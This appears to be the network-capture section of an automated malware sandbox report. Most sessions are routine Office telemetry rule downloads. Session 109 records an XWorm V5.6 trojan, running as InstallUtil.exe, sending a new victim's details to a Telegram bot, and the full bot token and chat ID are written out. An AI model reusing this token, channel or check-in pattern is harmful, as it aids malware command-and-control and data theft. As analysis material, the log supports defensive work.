2024-12-06 14:53:15 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:15 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:16 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:15 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: d74d32c1-201e-0085-7a92-4734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145315Z-1746fd949bdfg4slhC1EWR34t0000000043000000000ruxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:16 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:15 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:16 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: e40b0455-101e-008e-19d2-45cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145316Z-1746fd949bdlnsqphC1EWRurw0000000046000000000ef9a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:16 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:17 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: f7184125-501e-0064-68d4-451f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145316Z-1746fd949bd6zq92hC1EWRry48000000047g00000000mbgd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:17 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:17 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:17 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 8863b02e-001e-008d-5ccb-45d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145317Z-1746fd949bdxk6n6hC1EWRdr8c000000043g00000000n1u1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:17 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:17 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:18 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:17 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 0cb9a159-001e-0079-71ce-4512e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145317Z-1746fd949bdb8xvchC1EWRmbd4000000047g00000000n13g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:18 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:17 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:18 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:18 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 626f3694-401e-0015-30d1-450e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145318Z-1746fd949bdhk6hphC1EWRaw3c0000000470000000002kcf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:18 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:18 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:18 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:18 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: d954f12c-201e-000c-55cb-4579c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145318Z-1746fd949bd77mkmhC1EWR5efc00000004ng00000000bznu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:18 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:19 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:19 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:19 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 4f685411-201e-0033-27cc-45b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145319Z-1746fd949bd6zq92hC1EWRry48000000047000000000mcec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:19 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:20 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:20 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:20 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e8edde3b-801e-0083-79cc-45f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145320Z-1746fd949bdw2rg8hC1EWR11u400000004k000000000hhz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:20 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:20 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:20 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:20 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8dafbd59-c01e-0034-0bce-452af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145320Z-1746fd949bdl6zq5hC1EWRf3ws00000004400000000029td x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:20 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.7	49842	149.154.167.220	443	4376	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:20 UTC	455	OUT	GET /bot7898406264:AAEcJvD5oP4JuBuf3i4snVJp7o4fDp7tsuw/sendMessage?chat_id=-1002292872097&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A49ADBA61C1A62D0D1A8E%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20MOE6XX6%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-12-06 14:53:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 06 Dec 2024 14:53:20 GMT Content-Type: application/json Content-Length: 421 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-06 14:53:21 UTC	421	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 39 38 34 30 36 32 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 63 6c 69 63 6b 6d 65 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 6c 69 63 6b 74 6f 6d 65 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 31 30 30 32 32 39 32 38 37 32 30 39 37 2c 22 74 69 74 6c 65 22 3a 22 43 4c 49 43 4b 22 2c 22 74 79 70 65 22 3a 22 73 75 70 65 72 67 72 6f 75 70 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 34 39 36 38 30 30 2c 22 74 65 78 74 22 3a 22 5c 75 32 36 32 30 20 5b 58 57 6f 72 6d 20 56 35 2e 36 5d 5c 6e 5c 6e 4e 65 77 20 43 6c 69 6e 65 74 20 3a Data Ascii: {"ok":true,"result":{"message_id":12613,"from":{"id":7898406264,"is_bot":true,"first_name":"clickme","username":"clicktome_bot"},"chat":{"id":-1002292872097,"title":"CLICK","type":"supergroup"},"date":1733496800,"text":"\u2620 [XWorm V5.6]\n\nNew Clinet :

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
